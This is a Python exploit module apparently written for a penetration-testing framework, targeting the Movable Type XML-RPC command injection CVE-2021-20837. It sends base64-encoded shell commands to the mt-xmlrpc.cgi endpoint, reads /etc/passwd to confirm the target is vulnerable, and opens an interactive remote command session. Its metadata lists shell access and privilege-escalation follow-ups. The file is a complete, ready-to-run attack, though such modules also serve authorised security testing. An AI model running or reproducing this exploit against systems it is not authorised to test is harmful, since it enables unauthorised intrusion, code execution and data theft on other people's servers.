Movable Type - XML-RPC Command Injection (CVE-2021-20837)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Movable Type XML-RPC mt.handler_to_coderef RCE (CVE-2021-20837) — opens execute session."""

import base64
import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Movable Type - XML-RPC Command Injection (CVE-2021-20837)',
        'description': (
            'Exploits CVE-2021-20837 by sending mt.handler_to_coderef XML-RPC calls with '
            'base64-encoded backtick OS commands to /mt/mt-xmlrpc.cgi. Opens an interactive '
            'execute session.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2021-20837'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2021-20837',
            'https://jvn.jp/en/jp/JVN37015719/',
        ],
        'tags': ['movable-type', 'rce', 'xmlrpc', 'unauth', 'cve-2021-20837'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 1,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [
                    'post/shell/multi/gather/privesc_suggester',
                    'scanner/http/cve_2021_20837_detect',
                ],
            },
        },
    }

    base_path = OptString('', 'Optional Movable Type base path', required=False)

    def _prefix(self) -> str:
        base = str(self.base_path or '').strip()
        if not base or base == '/':
            return ''
        if not base.startswith('/'):
            base = '/' + base
        return base.rstrip('/')

    def execute(self, cmd: str) -> str:
        safe = str(cmd).replace('`', '').replace('"', '')
        payload = base64.b64encode(f'`{safe}`'.encode()).decode('ascii')
        data = (
            '<?xml version="1.0" encoding="UTF-8"?>'
            '<methodCall><methodName>mt.handler_to_coderef</methodName>'
            f'<params><param><value><base64>{payload}</base64></value></param></params>'
            '</methodCall>'
        )
        r = self.http_request(
            method='POST',
            path=f'{self._prefix()}/mt/mt-xmlrpc.cgi',
            data=data,
            headers={'Content-Type': 'text/xml; charset=UTF-8'},
            allow_redirects=False,
        )
        if not r:
            return ''
        return r.text or ''

    def check(self):
        body = self.execute('cat /etc/passwd')
        if re.search(r'root:.*:0:0:', body or ''):
            return {
                'vulnerable': True,
                'reason': 'CVE-2021-20837 confirmed: /etc/passwd via XML-RPC',
                'confidence': 'high',
            }
        return {
            'vulnerable': False,
            'reason': 'No command output observed',
            'confidence': 'medium',
        }

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()